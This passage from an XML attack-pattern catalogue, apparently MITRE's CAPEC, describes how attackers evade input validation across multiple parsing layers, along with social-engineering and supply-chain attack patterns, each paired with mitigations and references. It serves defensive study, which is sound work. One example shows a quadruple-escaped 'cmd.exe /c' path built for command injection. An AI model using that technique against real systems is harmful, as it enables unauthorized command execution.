												validation layer is executed after as many parsing
												layers as possible.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="0" type="Preventative">
												<Security_Control_Description>Determine the details
												of any parsing layers that get executed after the
												input validation layer (this may be necessary in
												the case of filesystem access, for example, where
												the operating system also includes a parsing
												layer), and ensure that the input validator
												accounts for the various encodings of illegal
												characters and character sequences in those
												layers.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="-1" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Leverage ability to bypass input
											validation</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker leverages his ability to bypass input
												validation to gain unauthorized access to system.
												There are many attacks possible, and a few examples
												are mentioned here.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Gain access to sensitive files.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Perform command injection.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Perform SQL injection.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="-1">
												<Attack_Step_Technique_Description>
												<Text>Perform XSS attacks.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="-1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in previous step</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="-1" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in previous step</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="0" type="Success">
												<Outcome_Description>Gaining unauthorized access to
												system functionality.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>User input is used to construct a command to be executed on the target
						system or as part of the file name.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Multiple parser passes are performed on the data supplied by the
						user.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Using Escapes</Text_Title>
						<Text>The backslash character provides a good example of the multiple-parser
							issue. A backslash is used to escape characters in strings, but is also
							used to delimit directories on the NT file system. When performing a
							command injection that includes NT paths, there is usually a need to
							"double escape" the backslash. In some cases, a quadruple escape is
							necessary.</Text>
						<Block>
							<Code>Original String: C:\\\\winnt\\\\system32\\\\cmd.exe /c</Code>
							<Code/>
							<Code>&lt;parsing layer&gt;</Code>
							<Code/>
							<Code>Interim String: C:\\winnt\\system32\\cmd.exe /c</Code>
							<Code/>
							<Code>&lt;parsing layer&gt;</Code>
							<Code/>
							<Code>Final String: C:\winnt\system32\cmd.exe /c</Code>
						</Block>
						<Text>This diagram shows each successive layer of parsing translating the
							backslash character. A double backslash becomes a single as it is
							parsed. By using quadruple backslashes, the attacker is able to control
							the result in the final string.</Text>
						<Text>From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Initially a fuzzer can be used to see what the application is
							successfully and escaping and what causes problems. This may be a good
							starting point.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Manually try to introduce multiple layers of control characters and
							see how many layers the application can escape.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Control characters are being detected by the filters
							repeatedly.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>An iterative approach to input validation may be required to ensure that
						no dangerous characters are present. It may be necessary to implement
						redundant checking across different input validation layers. Ensure that
						invalid data is rejected as soon as possible and do not continue to work
						with it.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Make sure to perform input validation on canonicalized data (i.e. data
						that is data in its most standard form). This will help avoid tricky
						encodings getting past the filters.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>179<!--Incorrect Behavior Order: Early Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>181<!--Incorrect Behavior Order: Validate Before Filter--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>183<!--Permissive Whitelist--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>77<!--Improper Neutralization of Special Elements used in a Command ('Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>78<!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="430" Name="Target Influence via Micro-Expressions"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>427<!--Target Influence via Psychological Principles--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="431" Name="Target Influence via Neuro-Linguistic Programming (NLP)"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>430<!--Target Influence via Micro-Expressions--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="432" Name="Target Influence via Voice in NLP" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>431<!--Target Influence via Neuro-Linguistic Programming (NLP)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="433" Name="Target Influence via The Human Buffer Overflow"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker utilizes a technique to insinuate commands to the subconscious
						mind of the target via communication patterns. The human buffer overflow
						methodology does not rely on overstimulating the mind of the target, but
						rather embedding messages within communication that the mind of the listener
						assembles at a subconscious level. The human buffer-overflow method is
						similar to subconscious programming to the extent that messages are embedded
						within the message. The fundamental difference is that embedded messages
						have a complete semantic quality, rather than mere imagery, and the mind of
						the target tends to key off of particular dominant patterns. The remaining
						information, carefully structured, speaks directly to the subconscious with
						a subtle, indirect, command. The effect is to produce a pattern of thinking
						that the attacker has predetermined but is buried within the message and not
						overtly stated. Structuring a human "buffer overflow" requires precise
						attention to detail and the use of information in a manner that distracts
						the conscious mind from the message the subconscious is receiving.</Text>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>427<!--Target Influence via Psychological Principles--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="434" Name="Target Influence via Interview and Interrogation"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>427<!--Target Influence via Psychological Principles--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="435" Name="Target Influence via Instant Rapport"
			Pattern_Abstraction="Meta" Pattern_Completeness="Hook" Status="Draft">
			<Description>
				<Summary>
					<Text/>
				</Summary>
			</Description>
			<Typical_Severity>Low</Typical_Severity>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>427<!--Target Influence via Psychological Principles--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>The Official Social Engineering Portal</Reference_Author>
					<Reference_Publisher>http://www.social-engineer.org</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-11-17</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-11-17</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="437" Name="Supply Chain Attacks" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker disrupts the supply chain lifecycle by manipulating computer
						system hardware, software, or services for the purpose of espionage, theft
						of critical data or technology, or to disrupt mission-critical operations or
						infrastructure. Supply chain operations are usually multi-national with
						parts, components, assembly, and delivery occurring in countries outside the
						United States. The economics of computer crime are increasingly favoring
						supply chain attacks as data theft and extortion, theft of technology
						covered by export controls, and industrial espionage can be carried out
						through modifications in technologies typically regarded as harmless.
						Manipulating a technology, component, or product, such as USB Thumb Drive,
						digital camera, or digital projector can provide a direct means for
						compromising targeted organizations with very little risk to the attacker.
					</Text>
				</Summary>
			</Description>
			<References>
				<Reference>
					<Reference_Author>Gautham Nagesh</Reference_Author>
					<Reference_Title>Latest cybersecurity threat lies in trusted software and
						hardware</Reference_Title>
					<Reference_Publisher>Nextgov.com</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Marianne Swanson</Reference_Author>
					<Reference_Author>Nadya Bartol</Reference_Author>
					<Reference_Author>Rama Moorthy</Reference_Author>
					<Reference_Title>Piloting Supply Chain Risk Management Practices for Federal
						Information Systems</Reference_Title>
					<Reference_Section>Section 1. Introduction</Reference_Section>
					<Reference_Edition>Draft NISTIR 7622</Reference_Edition>
					<Reference_Publisher>National Institute of Standards and
						Technology</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="438" Name="Integrity Modification/Manipulation During Manufacture"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker modifies a technology, product, or component during a stage in
						its manufacture for the purpose of carrying out an attack against some
						entity involved in the supply chain lifecycle. There are an almost limitless
						number of ways an attacker can modify a technology when they are involved in
						its manufacture, as the attacker has potential inroads to the software
						composition, hardware design and assembly, firmware, or basic design
						mechanics. Additionally, manufacturing of key components is often outsourced
						with the final product assembled by the primary manufacturer. The greatest
						risk, however, is deliberate manipulation of design specifications to
						produce malicious hardware or devices. There are billions of transistors in
						a single integrated circuit and studies have shown that fewer than 10
						transistors are required to create malicious functionality.</Text>
				</Summary>
			</Description>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>One example is Seagate's Maxtor Personal Storage 3200 drive. The
							drives were built under contract and contained a virus that stole user
							passwords. </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>437<!--Supply Chain Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Marcus Sachs</Reference_Author>
					<Reference_Title>Supply Chain Attacks: Can We Secure Information Technology
						Supply Chain in the Age of Globalization</Reference_Title>
					<Reference_Publisher>Verizon, Inc.</Reference_Publisher>
				</Reference>
				<Reference>
					<Reference_Author> Thea Reilkoff</Reference_Author>
					<Reference_Title>Hardware Trojans: A Novel Attack Meets a New
						Defense</Reference_Title>
					<Reference_Publisher>Yale School of Engineering and Applied
						Science</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Marianne Swanson</Reference_Author>
					<Reference_Author>Nadya Bartol</Reference_Author>
					<Reference_Author>Rama Moorthy</Reference_Author>
					<Reference_Title>Piloting Supply Chain Risk Management Practices for Federal
						Information Systems</Reference_Title>
					<Reference_Section>Section 1. Introduction</Reference_Section>
					<Reference_Edition>Draft NISTIR 7622</Reference_Edition>
					<Reference_Publisher>National Institute of Standards and
						Technology</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="439" Name="Integrity Modification during Distribution"
			Pattern_Abstraction="Meta" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker undermines the integrity of a product, software, or technology
						at some stage of the distribution channel. The core threats of modification
						or manipulation during distribution arise from the many stages of
						distribution, as a product may traverse multiple suppliers and integrators
						as the final asset is delivered. Components and services provided from a
						manufacturer to a supplier may be tampered with during integration or
						packaging. A malicious OEM provider may install software, or modify existing
						code, during distribution. Additionally, external contractors may be
						involved in the packaging or testing of products or components, granting
						another window of opportunity to modify or undermine the integrity of the
						technology. </Text>
				</Summary>
			</Description>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>437<!--Supply Chain Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Information Technology Laboratory</Reference_Author>
					<Reference_Title>Supply Chain Risk Management (SCRM)</Reference_Title>
					<Reference_Publisher>National Institute of Standards and Technology
						(NIST)</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>SAFECode</Reference_Author>
					<Reference_Title>The Software Supply Chain Integrity Framework Defining Risks
						and Responsibilities for Securing Software in the Global Supply
						Chain</Reference_Title>
					<Reference_Publisher>Safecode.org</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Marianne Swanson</Reference_Author>
					<Reference_Author>Nadya Bartol</Reference_Author>
					<Reference_Author>Rama Moorthy</Reference_Author>
					<Reference_Title>Piloting Supply Chain Risk Management Practices for Federal
						Information Systems</Reference_Title>
					<Reference_Section>Section 1. Introduction</Reference_Section>
					<Reference_Edition>Draft NISTIR 7622</Reference_Edition>
					<Reference_Publisher>National Institute of Standards and
						Technology</Reference_Publisher>
					<Reference_PubDate>2010</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Tom Stracener</Submitter>
						<Submitter_Organization>MITRE</Submitter_Organization>
						<Submission_Date>2010-12-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>MITRE</Modifier_Organization>
						<Modification_Date>2010-12-05</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
